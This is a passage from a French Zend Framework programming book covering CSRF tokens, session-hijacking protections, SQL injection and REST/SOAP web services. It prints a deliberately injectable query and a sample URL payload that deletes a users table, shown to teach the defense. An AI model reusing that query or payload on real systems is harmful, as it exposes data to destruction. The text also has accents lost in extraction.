Groupe Eyrolles, 2008


209
Aussi, le serveur Apache propose un module intitul mod_security dont
vous devriez vivement prendre connaissance si ce nest pas dj fait.
Les protections
Toujours sans entrer dans la paranoa, nous allons implmenter un
mcanisme de scurit simple, mais efficace dans la plupart des cas : le
jeton anti-CSRF.
Le principe du jeton est simple : on ajoute un identifiant unique au for-
mulaire sous forme de champ cach. Cette cl est unique pour chaque
couple client-formulaire et possde une dure de validit limite.
la rception des donnes du formulaire, on vrifie si la cl est valide
pour lutilisateur qui envoie le formulaire. Ceci permet de vrifier quil a
bien envoy le formulaire de son plein gr et quil ne sagit pas dun script
automatis.
Zend Framework propose, au travers de son composant Zend_Form, un
lment, Zend_Form_Element_Hash qui remplit ce rle merveille. Il
gnre un identifiant (une cl) quil stocke dans la session et quil rajoute,
sous forme de champ cach, au formulaire. Il ajoute aussi un validateur
qui, lorsque le formulaire sera post, comparera lidentifiant post par le
champ cach lidentifiant stock dans la session. Sils diffrent, cest
que trs probablement le client qui a affich le formulaire et celui qui la
envoy ne sont pas la mme personne. Un systme dinvalidation de la
cl dans le temps est galement pris en charge.
Zfbook/Form/Reservation.php
Ce composant va crer un espace de noms (namespace) de session,
modifiable, pour y stocker la cl.
Sessions et Cookies
Les sessions et les cookies sont extrmement convoits sur le Web. Une
session est simplement un tat entre un client et un serveur. De manire
ce que le serveur puisse reconnatre ses clients, il va leur envoyer un
identifiant unique leur premire connexion. Ceux-ci vont alors se
charger de renvoyer cet identifiant chaque requte. Ainsi, la persistance
est tablie, puisque le serveur peut connatre chaque instant quel client
sest connect, et ainsi restaurer ses donnes de session.
$token = new Zend_Form_Element_Hash('token',
array('salt' => 'unique'));
$this->addElement($token);
ATTENTION XSS tue tout
Toute protection anti-CSRF est systmatique-
ment anantie si vous tes vulnrable XSS. Le
couple XSS/CSRF est extrmement destructeur,
car JavaScript peut accder lensemble du
code source HTML de la page, et donc lire la
valeur du jeton dans le champ de formulaire.
RAPPEL Session
La gestion de la session avec Zend_Session
est dtaille au chapitre 8.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
210
Attaque dune session
Lidentifiant est trs souvent transmis via le serveur, matrialis du ct
du client par un cookie. Si un pirate met la main sur le cookie didenti-
fiant de session dune victime, il peut alors sapproprier sa session, se
faire passer pour elle et voler une grande partie de ses donnes.
Il existe tout une panoplie de moyens pour rcuprer lidentifiant de ses-
sion dun utilisateur lgitime, le plus classique tant en utilisant Java-
Script et en exploitant une faille XSS, comme nous lavons vu il y a peu.
Dautres moyens existent tout aussi nombreux, et nous allons cette fois-
ci vous rediriger vers la page officielle du manuel de Zend_Session, car
celle-ci contient exactement les informations que vous devez connatre
sur les sessions, quil serait inutile de recopier dans cet ouvrage. Cette
page est accessible lURL suivante :
http://framework.zend.com/manual/fr/zend.session.global_session_management.html
Les protections
Idalement, la protection contre la prdiction de session ncessiterait de
renouveler lidentifiant de session chaque requte HTTP. Ce systme
est lourd, car il oblige gnrer un identifiant et renvoyer un cookie
chaque requte. Aussi, il faudra porter une attention toute particulire au
ramasse-miettes des sessions, afin dviter collisions et autres pollutions.
Concernant notre application, nous avons choisi une protection simple :
nous renouvelons lidentifiant de session llvation de privilges, soit
lidentification dun visiteur en tant que membre.
Renouvellement de lidentifiant de session, LoginController.php
Ainsi, si un pirate a vol lidentifiant dune victime et que celle-ci siden-
tifie en tant quutilisateur (ou pire, administrateur) par la suite, alors le
pirate verra son identifiant invalid, car il aura t renouvel.
Il est trs important de porter la plus grande attention la dure de vali-
dit de lidentifiant de session. La rgle est simple : plus la dure de vie
dun identifiant est courte, moins il risquera de se faire intercepter ou
deviner. Ainsi, si nous analysons la configuration de la session en pro-
duction, nous avons donn une dure de vie de 10 minutes la session
ct serveur, et une dure de vie nulle au cookie de session ct client (la
fermeture du navigateur dtruira le cookie).
if ($result->isValid()) {
// ...
// rgnration de lid de session
Zend_Session::regenerateId();
}
1
1

c
u
r
i
t

Groupe Eyrolles, 2008


211
config/session.ini
En dernier lieu, nous avons mis en place une autre protection contre le
vol de session, dans un plugin MVC.
Nous enregistrons dans la session, en fin de requte, la trace du naviga-
teur client, savoir sa signature (user_agent) et son en-tte accept. Puis,
en dbut de requte suivante, nous vrifions si la session contient bien les
mmes donnes.
Ceci nous permet de dtecter un ventuel vol de session. En effet, si
pour un mme identifiant de session (un mme utilisateur suppos), le
navigateur utilis change entre deux requtes, alors nous pouvons en
dduire quil ne sagit probablement pas du mme utilisateur (vol de
lidentifiant de session), et dtruire sa session ( moins que celui-ci nait
pris la peine de recopier son cookie dun navigateur lautre, situation
aussi rare quexotique...).
Zfbook/Controller/Plugins/Session.php
[prod : dev]
remember_me_seconds = 0
gc_divisor = 1000
gc_maxlifetime = 600
gc_probability = 1
RAPPEL Plugins MVC
Le systme MVC de Zend Framework est dtaill
dans les chapitres 6 et 7.
<?php
class Zfbook_Controller_Plugins_Session extends Zend_Controller_Plugin_Abstract
{
private $_session;
private $_clientHeaders;

public function __construct()
{
$this->_session = Zend_Registry::get('session');
$this->_clientHeaders = $_SERVER['HTTP_USER_AGENT'];
if (array_key_exists('HTTP_ACCEPT', $_SERVER)) {
$this->_clientHeaders .= $_SERVER['HTTP_ACCEPT'];
}
$this->_clientHeaders = md5($this->_clientHeaders);
}

public function dispatchLoopStartup(Zend_Controller_Request_Abstract $request)
{
if (Zend_Auth::getInstance()->hasIdentity()) {
if ($this->_session->clientBrowser !=
$this->_clientHeaders)
{
Zend_Session::destroy();
$this->_response->setHttpResponseCode(403);
$this->_response->clearBody();
$this->_response->sendResponse();
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
212
Linjection SQL
Linjection SQL consiste, pour un pirate, dtecter une entre mal
valide et passe de manire brute une requte.
Attaque par injection SQL
Prenons par exemple :
Une requte SQL vulnrable linjection
Linjection
Les protections
La premire rgle de scurit concernant les bases de donnes est relative
aux utilisateurs clients de celle-ci. PHP est client du SGBD et il doit uti-
liser un compte utilisateur limit :
ne vous connectez pas avec PHP en super-utilisateur (root) ;
en parallle, connectez-vous avec un utilisateur client ayant le moins
de droits possibles.
Par exemple, lutilisateur MySQL que PHP utilise dans notre applica-
tion dexemple ne possde aucun droit dadministration (grant, create,
drop...). Il peut uniquement lire, crire et supprimer des donnes de la
base. Il na accs aucune autre base de donnes.
Ensuite, il est ncessaire de protger, avec une fonction dchappement,
les caractres des donnes dynamiques provenant de lutilisateur. Le
composant Zend_Db se charge de cela pour vous lorsque vous passez par
des jokers (binds). En effet, Zend Framework utilise systmatiquement
les requtes prpares pour interroger le SGBD. Si vous profitez des
exit;
}
}
}
public function dispatchLoopShutdown()
{
$this->_session->requestUri = $this->getRequest()
->getRequestUri();
$this->_session->clientBrowser = $this->_clientHeaders;
}
}
SELECT * FROM users WHERE name={$_GET['name']}
http://webserver/page.php?name=someone'; DELETE FROM users;
1
1

c
u
r
i
t

Groupe Eyrolles, 2008


213
paramtres prpars des requtes, alors le niveau de scurit est forte-
ment relev. Zend_DB est trait en dtail au chapitre 5.
Aussi, les mthodes quote() et quoteInto() vous permettent de protger
manuellement des paramtres, par la fonction dchappement, en pas-
sant une information de type, et lorsquil sagit dun entier (un identi-
fiant de cl primaire, par exemple), une conversion PHP reprsente la
meilleure scurit :
Exemple de conversion en entier dans models/TReservation.php
En rsum
Si le dveloppeur na pas appris les concepts de scurit des applications
web, alors il y a un risque non seulement pour lapplication et toutes ses
donnes, mais aussi pour les clients (utilisateurs) lgitimes. La scurit
100 % nexiste pas, mais plus on bloque les ventuelles personnes mal-
veillantes (sans gner les utilisateurs lgitimes, l est toute la difficult),
mieux cest.
Au risque de paratre rbarbatifs, nous allons donc une dernire fois
nous efforcer de rpter les rgles lmentaires de scurit en
dveloppement :
vrifiez et validez toutes les donnes entrantes ;
protgez par des fonctions dchappement toutes les donnes sor-
tantes, destines laffichage.
En plus de celles-ci, une politique de scurit peut tre mise en place en
entreprise, qui peut compter plusieurs pages au format A4 de recom-
mandations et dinterdictions.
public function getByCreator($creatorId)
{
$select = $this->select();
return $this->fetchAll($select()->from($this, 'id')
->where('creator = ?', (int)$creatorId)
)->toArray();
}
Groupe Eyrolles, 2008
chapitre 12
Groupe Eyrolles, 2008
Interoprabilit et services web
Face la diversit des technologies et des protocoles
informatiques existants, la solution sappelle bien souvent
interoprabilit. Cette notion consiste simplement trouver
un canal de communication entre deux entits qui ne sont
pas faites, lorigine, pour sentendre. En amont de
linteroprabilit, il est important de construire une
architecture applicative compatible avec les protocoles
dintroprabilit.
SOMMAIRE
BConnatre les diffrentes
possibilits de communication
inter-applications
BUtiliser ou crer un service web
COMPOSANTS
BZend_Rest
BZend_Soap
BZend_Feed
MOTS-CLS
Bservice web
BSOAP
BREST
Bflux
Bclient
Bserveur
BXML-RPC
BGoogle
BYahoo
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
216
Nous voici arrivs un chapitre important, consacr la prsentation
thorique et pratique des diffrentes formes dinteroprabilit, ainsi qu
lutilisation de services existants. Zend Framework propose deux catgo-
ries de composants : ceux qui permettent dexploiter les protocoles de
communication et ceux qui permettent de consommer des services sp-
cifiques, tels que ceux de Google, Yahoo, Amazon, etc.
Linteroprabilit, quest-ce que cest ?
Linteroprabilit concerne tout ce qui permet lchange dinformations et
de fonctionnalits. Avec laugmentation du nombre dapplications, de tech-
nologies et de formats de donnes, ce concept dinteroprabilit est strat-
gique. Plus une application est capable de communiquer avec dautres
applications, ainsi que de lire et crire des documents diffrents, plus elle
aura dintrt aux yeux du plus grand nombre dutilisateurs possibles.
Techniquement, il existe de nombreuses solutions permettant de mettre
en uvre des ponts entre plusieurs applications. Dans ce chapitre, nous
allons nous intresser au concept de service, qui permet lchange en
temps rel dinformations et de fonctionnalits.
Concrtement, tel que lillustre la figure 12-1, il est possible grce un
service web dinvoquer des fonctionnalits qui sont physiquement
situes dans une application distante. Dans notre illustration, la classe
Service de lApplication 2 est lie la classe Service de lApplication 1,
Figure 121
Principe dun service web classique
1
2


I
n
t
e
r
o
p

r
a
b
i
l
i
t


e
t

s
e
r
v
i
c
e
s

w
e
b
Groupe Eyrolles, 2008
217
de telle manire quil est possible de sen servir dans lApplication 2
comme sil sagissait dune classe locale.
Certains termes tels que srialisation/dsrialisation ou SOAP seront
abords dans les sections suivantes.
Les solutions existantes
dfaut de solution idale, avec PHP, nous avons le choix entre plu-
sieurs alternatives qui ont chacune leurs avantages et inconvnients.
Zend Framework propose une implmentation amliore des outils per-
mettant la mise en place de ces solutions. En voici la liste, avec quelques
informations qui vous permettront de faire votre choix.
REST
Le principe de REST est trs simple : un client expdie une requte
HTTP avec des paramtres (opration, arguments, etc.) et le serveur
rpond avec une chane de caractres srialise (XML, JSON ou proto-
cole de srialisation de son choix).
REST fonctionne autour du principe de ressources, visibles via plusieurs
vues.
En gnral, une ressource est identifie par un URI unique, qui possde
une URL unique, et on utilise les mthodes HTTP pour dfinir laction
effectuer (lire, crire, mettre jour, supprimer, etc.).
Avantages
REST est simple mettre en uvre.
Cest un service performant de par sa lgret.
Sa maintenance est facile, dans la mesure ou limplmentation est
bien organise.
Inconvnients
La complexit des fonctionnalits pouvant tre fournies est limit.
Il ne sagit pas dune norme, ni dun protocole, mais seulement dun
concept.
REST nest pas appropri la mise en place de gros services qui doi-
vent sadapter aux volutions de lexistant.
T REST
Pour comprendre REST (Representational State
Transfer) et les notions de vues et de ressources,
nous vous conseillons lexcellent article consul-
table lURL suivante :
Bhttp://www.biologeek.com/
rest,traduction,web-semantique/pour-ne-
plus-etre-en-rest-comprendre-cette-
architecture/
T Srialisation/Dsrialisation
La srialisation est laction qui consiste passer
dun type composite un type scalaire. En dautres
termes, la srialisation permet de transformer un
tableau ou un objet en une chane de caractres.
La dsrialisation est lopration inverse. Sauf
cas exceptionnel, la srialisation/dsrialisation
est bijective.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
218
SOAP
SOAP (Simple Object Access Protocol) est le protocole RPC (Remote Proce-
dure Call) orient objet le plus utilis pour dvelopper des services web.
Il sagit dune vritable norme qui est aujourdhui adopte par de nom-
breuses technologies et applications. SOAP est bas sur XML.
Avantages
SOAP permet la mise en place de services de toute taille et de tout
niveau de complexit.
Cest un protocole standard et complet.
Il permet doffrir assez simplement des API pour laccs aux fonc-
tionnalits.
Inconvnients
Bien que complet, ce standard est verbeux et les informations chan-
ges peuvent savrer difficiles lire.
En PHP, les types de donnes un peu complexes tels que les objets ou
certains tableaux ne sont pas pris en charge de manire native, ce qui
oblige ajouter une couche de srialisation supplmentaire.
Par rapport aux autres solutions, SOAP est la plus lente et la plus
lourde.
XML-RPC
Ce protocole ressemble SOAP, et tend dailleurs tre de plus en plus
remplac par ce dernier. XML-RPC possde les mmes avantages et
inconvnients que SOAP. Vous lutiliserez si vous devez communiquer
avec des entits qui utilisent cette norme. Dans le cas contraire, il est
dusage de choisir SOAP, qui est plus rcent et plus rpandu.
RSS et Atom
Ces petits standards proposent des DTD qui, en gnral, permettent la
diffusion dun flux dactualits. Ils sont donc optimiss pour la diffusion
de ce type de donnes, bien que lon dtourne souvent cette spcificit. Il
est par exemple intressant dutiliser RSS ou Atom pour mettre en place
des flux dimport/export ou dinformations techniques. Lun des drivs
les plus connus de RSS est le podcast, qui permet de mettre disposition
une srie de fichiers vido tlchargeables, et le vidocast, qui permet de
faire de mme avec des fichiers vido en continu (streaming).
T RSS
RSS est lacronyme de Really Simple Syndica-
tion (RSS 2.0), RDF Site Summary (RSS 0.9, 1.0
et 1.1) ou Rich Site Summary (RSS 0.91), suivant
les diffrentes versions.
1
2


I
n
t
e
r
o
p

r
a
b
i
l
i
t


e
t

s
e
r
v
i
c
e
s

w
e
b
Groupe Eyrolles, 2008
219
Le principal intrt dAtom ou RSS rside dans le large choix de lecteurs
que lon peut trouver sur le march. De nombreux navigateurs, message-
ries web et applications de communication ou multimdia proposent la
lecture de ces flux.
Atom et RSS sont tous deux norms et utiliss en interne par de grandes
entreprises telles que Google, par exemple. Vous trouverez des dtails
respectivement dans la RFC 4287 et sur le site http://cyber.law.harvard.edu/
rss/rss.html.
Prparer le terrain
Les fonctionnalits lier aux services web seront implmentes dans la
mme classe pour REST et pour SOAP. Chaque service sera dvelopp
dans une classe spare. La figure 12-2 prsente le schma UML des
classes mises en place dans les bibliothques pour notre besoin.
Zfbook_Reservation_Server est la classe contenant les fonctionna-
lits qui pourront tre invoques de lextrieur ; elle est abstraite et
sert de modle ;
Zfbook_Reservation_SoapServer est une classe fille de
Zfbook_Reservation_Server adapte au service SOAP ;
Zfbook_Reservation_RestServer est une classe fille de
Zfbook_Reservation_Server adapte au service REST.
Voici la classe Zfbook_Reservation_Server telle que nous allons lutiliser
dans nos exemples. Vous pouvez la complter pour vos propres besoins.
SCURIT Accs au service en criture
Pour simplifier nos exemples, nous ne mettrons
pas en place de politique de scurit, mais il est
vident que dans la mesure o un service donne
accs des fonctionnalits critiques en criture,
cela reprsente une faille de scurit. La classe
supportant les fonctionnalits du service peut trs
bien grer une authentification (mthode
login() par exemple) et donner accs aux fonc-
tionnalits uniquement si le client est identifi, de
la mme manire que pour un visiteur humain sur
des pages classiques.
Figure 122
Diagramme de classes simplifi de gestion
des services web dans notre application
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
220
Il est noter que les commentaires PHPDoc de cette classe sont impor-
tants pour le service SOAP.
Classe qui sera invoque par les services
<?php
/**
* Classe commune aux services SOAP / REST
*/
abstract class Zfbook_Reservation_Server
{

/**
* Get a list of reservation ids
*
* @param string $dateBegin
* @param string $dateEnd
* @return array
*/
public function getReservations($dateBegin, $dateEnd)
{
$reservations = new TReservation();
return $reservations->getRestrictedList($dateBegin, $dateEnd);
}
/**
* Get a reservation detail
*
* @param integer $id
* @return array
*/
public function getDetail($id)
{
$reservations = new TReservationList();
return $reservations->find((int)$id)
->current()
->toArray();
}
/**
* Get the entire list of rooms
*
* @return array
*/
public function getRooms()
{
$rooms = new TRoom();
return $rooms->fetchAll()->toArray();
}
}
1
2


I
n
t
e
r
o
p

r
a
b
i
l
i
t


e
t

s
e
r
v
i
c
e
s

w
e
b
Groupe Eyrolles, 2008
221
Dun point de vue MVC, nous avons choisi de crer un contrleur
spar pour les services. Celui-ci pourra ventuellement servir pour
dautres applications et permettra la centralisation de tous les services.
Voici le squelette de notre contrleur :
Squelette du contrleur ddi aux services
<?php
class WebserviceController extends Zend_Controller_Action
{
/**
* Serveur du webservice demand
*/
protected $_server;

/**
* Initialisation du contrleur
*/
public function init()
{
$this->_helper->viewRenderer->setNoRender(true);
$this->_helper->layout->disableLayout();
$this->getResponse()->setHeader('Content-type', 'text/xml');
}

/**
* Service SOAP
*/
public function soapAction()
{
}

/**
* Service REST
*/
public function restAction()
{
}

/**
* Postdispatch : lanc aprs chaque action
* Lance le service web demand
*/
public function postDispatch()
{
$class = 'Zfbook_Reservation_'
. ucfirst($this->getRequest()
->getActionName())
. 'Server';
$this->_server->setClass($class);
$this->_server->handle();
}
}
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
222
La proprit $_server va contenir lobjet de gestion du service SOAP ou
REST. Celui-ci sera instanci dans les mthodes soapAction() et
restAction() qui correspondent aux actions des services.
La mthode init() est automatiquement appele avant lappel de
laction. Nous lutilisons pour dsactiver lappel automatique des vues et
pour envoyer au client un en-tte HTTP qui prcise que le contenu sera
du XML. En effet, pour SOAP comme pour REST, les services vont
envoyer du XML.
Enfin, la mthode postDispatch() est automatiquement appele aprs
les actions et effectue les oprations de slection de la classe invoquer
et de lancement du service (handle()). Ces actions sont communes
lensemble des services, cest pourquoi nous pouvons les mettre en fac-
teur ici. Il ne nous reste plus qu remplir les actions du code supplmen-
taire qui, contrairement ce quon pourrait croire, nest pas si verbeux
que cela. Nous vous laissons en juger.
Zend_Rest : linteroprabilit simplifie
REST est utilis pour mettre en place des services lgers permettant
laccs des informations ou des fonctionnalits. Dans notre exemple,
nous voulons mettre en place un service REST pour effectuer des recher-
ches de rservation ou encore ajouter, supprimer et modifier des donnes.
Principe de REST
Un serveur REST reoit une requte contenant le nom de la mthode ou de
la fonction solliciter, ainsi que la valeur des ventuels arguments. Cette
requte est simplement un appel HTTP, comme le montre cet exemple :
Requte REST au serveur
Cette requte a pour effet dappeler la mthode adquate. La valeur de
retour est rcupre pour tre renvoye au client qui reoit un flux de
donnes gnralement bas sur XML.
En plus de cela, un service est dit RESTful sil respecte les notions de
ressource unique, de reprsentation de la ressource et de verbe dinterro-
gation. Ce nest pas le cas de nos exemples, qui nutilisent que la
mthode GET.
http://html.zfbook/webservice/rest?method=getRooms
1
2


I
n
t
e
r
o
p

r
a
b
i
l
i
t


e
t

s
e
r
v
i
c
e
s

w
e
b
Groupe Eyrolles, 2008
223
Zend_Rest : REST, version Zend Framework
Avec Zend Framework, le principe reste le mme pour lappel du client.
Concernant le flux renvoy par le serveur, deux possibilits soffrent nous :
laisser Zend Framework construire son propre flux XML ainsi, le ser-
veur et le client peuvent se comprendre, car ils adoptent les mmes
conventions ; le type de donnes de retour des mthodes appeles est
srialis la sauce Zend ;
gnrer un flux XML personnalis pour cela, il suffit que la mthode
retourne un objet de type SimpleXMLElement ; le flux XML gnr
sera renvoy tel quel au client, sans altration.
Dans les exemples qui suivent, nous allons modifier lgrement les
mthodes de la classe invoquer, de manire utiliser ces deux possibilits.
Mais avant tout, concentrons-nous sur le contenu de laction
restAction(). Sachant que nous avons dj les fonctionnalits (classe
dans library) et le chargement (postDispatch()), il ne nous reste plus
qu instancier lobjet REST qui permettra de grer la communication.
Avec Zend Framework, cette opration est assez simple. Voici le code de
laction restAction() :
Figure 123
Diagramme de classes simplifi
du composant Zend_Rest
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
224
Cration du serveur REST
Laction consistant instancier le composant Zend_Rest_Server suffit.
Notre service REST peut tre considr comme termin ! Voyons com-
ment celui-ci se comporte :
Invocation de la mthode getDetail
Pour faire appel un service REST et le tester, il suffit dutiliser son
navigateur web favori et de mentionner la mthode appeler, en plaant
ses arguments en paramtres de lURL associe au service. Le rsultat de
cet appel devrait ressembler lillustration 12-4. Nous pouvons voir que
le tableau renvoy par getDetail() est srialis en XML. Le client devra
utiliser un outil qui lit le XML, ou tout simplement la classe
Zend_Rest_Client.
Afin de personnaliser le service, il est possible de renvoyer des messages.
Dans la classe Zfbook_Reservation_RestServer, nous allons par exemple
complter la mthode getReservations() qui donne une liste de rser-
vations entre deux dates. Voici le code de cette classe avec la surcharge de
getReservations() :
// Nous sommes dans le contrleur WebserviceController
public function restAction()
{
$this->_server = new Zend_Rest_Server();
}
http://html.zfbook/webservice/rest?method=getDetail&arg1=12
Figure 124
Appel du service REST
depuis un navigateur web
1
2


I
n
t
e
r
o
p

r
a
b
i
l
i
t


e
t

s
e
r
v
i
c
e
s

w
e
b
Groupe Eyrolles, 2008
225
Classe invoquer ct REST avec surcharge de getReservations()
La mthode getReservations() est surcharge avec un renvoi de mes-
sage personnalis en cas de problme. Dans tous les autres cas, il sagit
du rsultat retourn par la mthode parente. Pour utiliser cette fonction-
nalit, utilisons maintenant la classe Zend_Rest_Client. Dans un fichier
part, nous pouvons mettre ces quelques lignes de code :
Un client REST
Comme nous pouvons le voir, lappel de getReservations() du client
REST ne retourne pas la mme donne que le
Zfbook_Reservations_Server::getReservations(). Il sagit dun objet
Zend_Rest_Client_Result adapt la rcupration de donnes. Mais il
est possible de passer outre ce comportement et de simplifier la partie
client en construisant nous-mmes le code gnr. Pour cela, la mthode
de lobjet invoqu doit retourner un objet SimpleXMLElement. Voici com-
ment faire avec la mthode getRooms() :
<?php
/**
* Serveur REST de lapplication
*/
class Zfbook_Reservation_RestServer extends Zfbook_Reservation_Server
{
const STATUS_SUCCESS = 'success';
const STATUS_FAIL = 'fail';

public function getReservations($dateBegin, $dateEnd)
{
$resas = parent::getReservations($dateBegin, $dateEnd);
if (!$resas) {
return array('msg' => 'Bad result',
'status' => self::STATUS_FAIL);
}
return $resas;
}
}
// Dclaration du client REST
$uri = 'http://html.zfbook/webservice/rest';
$client = new Zend_Rest_Client($uri);
// Appel de la mthode getReservations
// Affiche une srie dID : 6 8 9 10 11 12
$reservations = $client->getReservations(
'2008-07-18 10:00:00',
'2008-09-18 10:00:00');
foreach ($reservations->get()->id as $id) {
echo $id . ' ';
}
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
226
Surcharge de getRooms() pour gnrer son propre rsultat XML
Cette mthode getRooms() appelle la mthode parente du mme nom et
transforme la structure de donnes tableau en un objet
SimpleXMLElement. Cela a pour effet de remplacer la srialisation XML
prvue par Zend_Rest par son propre flux XML. La figure 12-5 illustre le
rsultat de cette opration.
// Nous sommes dans Zfbook_Reservation_RestServer
public function getRooms()
{
$roomsTab = parent::getRooms();
$rooms = simplexml_load_string('<rooms />');
foreach ($roomsTab as $roomTab) {
$room = $rooms->addChild('room');
foreach ($roomTab as $key => $value) {
$room->addChild($key, $value);
}
}
return $rooms;
}
Figure 125
Code XML de getRooms()
nettoy par nos soins
1
2


I
n
t
e
r
o
p

r
a
b
i
l
i
t


e
t

s
e
r
v
i
c
e
s

w
e
b
Groupe Eyrolles, 2008
227
Nous pouvons voir que le code XML gnr est plus simple et plus facile
lire. Ce nest pas tout : la partie cliente est elle aussi simplifie, comme
nous pouvons le voir dans le code suivant :
Client REST adapt une rponse XML personnalise
Lopration $client->getRooms()->get() retourne un objet
Zend_Rest_Client_Result attach un objet SimpleXMLElement. Il suffit
donc de considrer la valeur de retour comme tant un objet SimpleXML.
Zend_Soap : linteroprabilit par
dfinition
SOAP est le protocole le plus utilis pour mettre en place des services
web. PHP propose une extension SOAP efficace, et Zend Framework
un composant ddi permettant un accs simple et la gnration dyna-
mique du WSDL. lheure ou nous crivons ces lignes, ce composant
est encore un peu jeune. Nous nous limiterons donc, pour linstant, la
mise en uvre dun composant SOAP sans WSDL.
$uri = 'http://html.zfbook/webservice/rest';
$client = new Zend_Rest_Client($uri);
$rooms = $client->getRooms()->get();
foreach ($rooms as $room) {
echo '- ' . $room->id . ' : ' . $room->name . "\n";
}
T WSDL
Le protocole SOAP, qui permet dassurer la transmis-
sion de messages via un protocole tel que HTTP ou
SMTP, est souvent associ une notion appele
WSDL (Web Service Description Language).
Son rle est de dcrire le service mis en place, cest-
-dire les fonctions, les types de donnes et
ladresse du composant, de telle sorte quavec le
flux WSDL dun service, le client dispose de toutes
les informations ncessaires pour utiliser le service.
Trs souvent, le WSDL est contenu dans un fichier,
sous forme XML, peu comprhensible la lecture.
Figure 126
Diagramme de classes simplifi
du composant Zend_Soap
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
228
Pour notre application, nous dcidons de mettre en place un composant
SOAP bas sur la classe Zfbook_Reservation_Server sans modifier celle-
ci. Par principe et pour que le mcanisme contenu dans
WebserviceController::postDispatch() fonctionne (voir plus haut),
nous pouvons crer une classe Zfbook_Reservation_SoapServer :
Classe du service SOAP invoquer
La mise en place du service SOAP dans le contrleur
WebserviceController sera aussi simple que pour REST. Il suffit ici
seulement de charger un objet Zend_Soap qui sera par la suite attach la
classe invoquer dans postDispatch(). Voici comment crer cet objet :
Cration de lobjet Zend_Soap_Server dans le contrleur
Lobjet Zend_Soap_Server est inject dans la proprit $_server du contr-
leur, de manire ce quil soit visible dans postDispatch(). Le paramtre
uri est interne au service web, et devra tre appel galement dans le client.
Lorsque lon appelle lURL correspondant au service, une enveloppe SOAP
devrait apparatre avec un message derreur, comme lillustre la figure 12-7.
<?php
/**
* La classe soap frontale de lAPI
*/
class Zfbook_Reservation_SoapServer
extends Zfbook_Reservation_Server
{}
// Dans la classe WebserviceController
public function soapAction()
{
$options = array('uri' => 'http://reservation');
$this->_server = new Zend_Soap_Server(null, $options);
}
EXTENSION PHP SOAP
Attention, Zend_SOAP ncessite les capacits
SOAP de PHP qui se trouvent dans lextension
php_soap. Cette extension nest pas active par
dfaut dans PHP 5.2, contrairement PHP 5.3.
Vrifiez donc sa prsence et son tat.
Figure 127
Lappel du service SOAP dans le navigateur
1
2


I
n
t
e
r
o
p

r
a
b
i
l
i
t


e
t

s
e
r
v
i
c
e
s

w
e
b
Groupe Eyrolles, 2008
229
Il ne nous reste plus qu tester ce service en crant un client indpendant
dans un fichier PHP. Pour cela, nous allons instancier un objet
Zend_Soap_Client avec, en plus des mmes options que celles du serveur
(uri), la cl location qui mentionne ladresse vers le serveur SOAP. tant
donn que nous utilisons SOAP sans WSDL, cette cl est obligatoire.
Un client SOAP sur une application distante
En regardant le code du client et le rsultat lcran apparaissant sur la
figure 12-8, nous pouvons remarquer que la mise en place dun service
SOAP est trs simple. Les types de donnes sont en particulier mieux
respects que sur le client REST: les rsultats retourns sont bien des
tableaux. Il est alors ais de les manipuler par la suite.
// Dclaration du client SOAP
$options = array();
$options['location'] = 'http://html.zfbook/webservice/soap';
$options['uri'] = 'http://reservation';
$client = new Zend_Soap_Client(null, $options);
// Affichage du rsultat (test)
echo '<div style="float: right">';
var_dump($client->getRooms());
var_dump($client->getDetail(12));
echo '</div>';
var_dump($client->getReservations(
'2008-08-18 13:10:00', '2008-09-18 10:00:00'));
Figure 128
Rsultat du client SOAP de test
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
230
Toujours sur la figure 12-8, les blocs 1, 2 et 3 correspondent respective-
ment aux var_dump() de la valeur de retour de getRooms(), getDetail()
et getReservations().
Zend_Feed : pour les protocoles simples
RSS et Atom
Zend_Feed est un composant qui permet de lire et de gnrer des flux. Il
est en particulier compatible avec les DTD Atom et RSS et prend en
charge les tags podcast et Itune. Pour notre application, nous allons
mettre disposition un flux RSS qui expose la liste des rservations.
Contrairement un service web, un flux est sens unique : un serveur
fournit le flux et un client le lit. Le serveur nattend pas de directive ou
de paramtre du client, et le flux est constant, sauf si les donnes sont
modifies dans la base. Pour notre exemple, nous allons prendre
lensemble des rservations sans limitation. Libre vous doptimiser en
prenant par exemple les dix dernires rservations uniquement.
Figure 129
Diagramme de classes simplifi
du composant Zend_Feed
1
2


I
n
t
e
r
o
p

r
a
b
i
l
i
t


e
t

s
e
r
v
i
c
e
s

w
e
b
Groupe Eyrolles, 2008
231
Du point de vue de larchitecture, nous allons mettre en place une classe
de service RSS qui se comportera de la mme manire que
Zend_Soap_Server ou Zend_Rest_Server afin quelle puisse tre compa-
tible avec le contrleur WebserviceController.
Classe de gestion des services de flux
Comme nous pouvons le voir dans son implmentation, la classe
Zfbook_Feed possde deux mthodes :
setClass() rcupre le nom de la classe charge de fournir les don-
nes du flux, dinstancier lobjet correspondant et de construire un
objet Zend_Feed stock dans la proprit $_feed ;
handle() vrifie que $_feed est correctement charge et transmet le
flux au client.
Cette classe peut ainsi tre instancie dans WebserviceController et
faire office de contrleur de service. La mthode postDispatch() du
